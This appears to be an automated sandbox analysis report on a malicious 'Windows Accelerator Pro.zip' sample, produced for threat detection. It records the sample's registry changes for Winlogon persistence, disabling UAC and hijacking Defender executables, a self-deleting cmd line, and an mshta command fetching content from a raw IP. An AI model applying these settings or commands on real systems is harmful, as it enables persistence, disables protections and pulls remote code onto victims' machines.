Analysis Overview
SHA256
6e6f0f4912aeadc81622c01e62cac6bbf02cd34052cdca2da582c92005275105
Threat Level: Known bad
The file Windows Accelerator Pro.zip was found to be: Known bad.
Malicious Activity Summary
Modifies WinLogon for persistence
UAC bypass
Sets file execution options in registry
Blocklisted process makes network request
Loads dropped DLL
Deletes itself
Executes dropped EXE
Looks up external IP address via web service
Checks whether UAC is enabled
Unsigned PE
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
System policy modification
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-03-02 16:41
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-03-02 16:41
Reported
2024-03-02 16:41
Platform
win7-20240220-en
Max time kernel
8s
Max time network
6s
Command Line
Signatures
Modifies WinLogon for persistence
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\guard-rmwn.exe" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
Sets file execution options in registry
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\[email protected] | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\[email protected] | N/A |
Checks whether UAC is enabled
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\[email protected] | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
Suspicious use of WriteProcessMemory
System policy modification
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0" | C:\Users\Admin\AppData\Roaming\guard-rmwn.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\[email protected]
"C:\Users\Admin\AppData\Local\Temp\[email protected]"
C:\Users\Admin\AppData\Roaming\guard-rmwn.exe
C:\Users\Admin\AppData\Roaming\guard-rmwn.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\ENDERM~1.EXE" >> NUL
C:\Windows\SysWOW64\mshta.exe
mshta.exe "http://93.115.82.248/?0=1&1=1&2=9&3=i&4=7601&5=1&6=1111&7=nqrhshtdur"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| JP | 132.226.8.169:80 | checkip.dyndns.org | tcp |
| RO | 93.115.82.248:80 | tcp |
Files
memory/1636-0-0x0000000000400000-0x000000000058A000-memory.dmp
memory/1636-1-0x0000000000340000-0x000000000039F000-memory.dmp
memory/1636-23-0x0000000000720000-0x0000000000721000-memory.dmp
memory/1636-22-0x00000000009B0000-0x00000000009B1000-memory.dmp
memory/1636-21-0x0000000001FF0000-0x0000000001FF1000-memory.dmp
memory/1636-20-0x00000000009C0000-0x00000000009C1000-memory.dmp
memory/1636-19-0x00000000009A0000-0x00000000009A1000-memory.dmp
memory/1636-18-0x0000000000770000-0x0000000000771000-memory.dmp
memory/1636-17-0x00000000009D0000-0x00000000009D1000-memory.dmp
memory/1636-16-0x0000000000730000-0x0000000000731000-memory.dmp
memory/1636-15-0x00000000003C0000-0x00000000003C1000-memory.dmp
memory/1636-14-0x00000000003E0000-0x00000000003E1000-memory.dmp
memory/1636-13-0x00000000003A0000-0x00000000003A1000-memory.dmp
memory/1636-12-0x0000000000740000-0x0000000000741000-memory.dmp
memory/1636-11-0x00000000003F0000-0x00000000003F1000-memory.dmp
memory/1636-10-0x0000000003230000-0x0000000003233000-memory.dmp
memory/1636-9-0x00000000002A0000-0x00000000002A1000-memory.dmp
memory/1636-8-0x0000000003240000-0x0000000003241000-memory.dmp
memory/1636-7-0x00000000002E0000-0x00000000002E1000-memory.dmp
memory/1636-6-0x00000000002B0000-0x00000000002B1000-memory.dmp
memory/1636-5-0x0000000000310000-0x0000000000311000-memory.dmp
memory/1636-4-0x0000000000290000-0x0000000000291000-memory.dmp
memory/1636-3-0x0000000000270000-0x0000000000271000-memory.dmp
memory/1636-2-0x0000000000300000-0x0000000000301000-memory.dmp
memory/1636-24-0x0000000003280000-0x0000000003281000-memory.dmp
memory/1636-25-0x0000000000320000-0x0000000000321000-memory.dmp
memory/1636-63-0x0000000003510000-0x0000000003511000-memory.dmp
memory/1636-62-0x00000000034E0000-0x00000000034E1000-memory.dmp
memory/1636-61-0x00000000034F0000-0x00000000034F1000-memory.dmp
memory/1636-60-0x0000000003440000-0x0000000003441000-memory.dmp
memory/1636-59-0x0000000003450000-0x0000000003451000-memory.dmp
memory/1636-58-0x0000000003410000-0x0000000003411000-memory.dmp
memory/1636-57-0x0000000003420000-0x0000000003421000-memory.dmp
memory/1636-56-0x00000000033F0000-0x00000000033F1000-memory.dmp
memory/1636-55-0x0000000003400000-0x0000000003401000-memory.dmp
memory/1636-54-0x00000000033D0000-0x00000000033D1000-memory.dmp
memory/1636-53-0x00000000033E0000-0x00000000033E1000-memory.dmp
memory/1636-52-0x00000000033B0000-0x00000000033B1000-memory.dmp
memory/1636-51-0x00000000033C0000-0x00000000033C1000-memory.dmp
memory/1636-50-0x0000000003390000-0x0000000003391000-memory.dmp
memory/1636-49-0x00000000033A0000-0x00000000033A1000-memory.dmp
memory/1636-48-0x0000000003370000-0x0000000003371000-memory.dmp
memory/1636-47-0x0000000003380000-0x0000000003381000-memory.dmp
memory/1636-46-0x0000000003350000-0x0000000003351000-memory.dmp
memory/1636-45-0x0000000003360000-0x0000000003361000-memory.dmp
memory/1636-44-0x0000000003330000-0x0000000003331000-memory.dmp
memory/1636-43-0x0000000003340000-0x0000000003341000-memory.dmp
memory/1636-42-0x0000000003310000-0x0000000003311000-memory.dmp
memory/1636-41-0x0000000003320000-0x0000000003321000-memory.dmp
memory/1636-40-0x00000000032F0000-0x00000000032F1000-memory.dmp
memory/1636-39-0x0000000003300000-0x0000000003301000-memory.dmp
memory/1636-38-0x00000000032D0000-0x00000000032D1000-memory.dmp
memory/1636-37-0x00000000032E0000-0x00000000032E1000-memory.dmp
memory/1636-36-0x00000000032B0000-0x00000000032B1000-memory.dmp
memory/1636-35-0x00000000032C0000-0x00000000032C1000-memory.dmp
memory/1636-34-0x0000000003290000-0x0000000003291000-memory.dmp
memory/1636-33-0x00000000032A0000-0x00000000032A1000-memory.dmp
memory/1636-32-0x00000000025B0000-0x00000000025B1000-memory.dmp
memory/1636-31-0x0000000002140000-0x0000000002141000-memory.dmp
memory/1636-30-0x0000000002500000-0x0000000002501000-memory.dmp
memory/1636-29-0x0000000000760000-0x0000000000761000-memory.dmp
memory/1636-28-0x0000000003250000-0x0000000003251000-memory.dmp
memory/1636-27-0x0000000000260000-0x0000000000261000-memory.dmp
memory/1636-26-0x0000000000250000-0x0000000000251000-memory.dmp
\Users\Admin\AppData\Roaming\guard-rmwn.exe
| MD5 | 981931159e45242cc1c3dcbdb47846d7 |
| SHA1 | 875bd5c00a30df19216e7f08bc18d97490ed25a6 |
| SHA256 | 69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e |
| SHA512 | ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce |
memory/1636-80-0x0000000000400000-0x000000000058A000-memory.dmp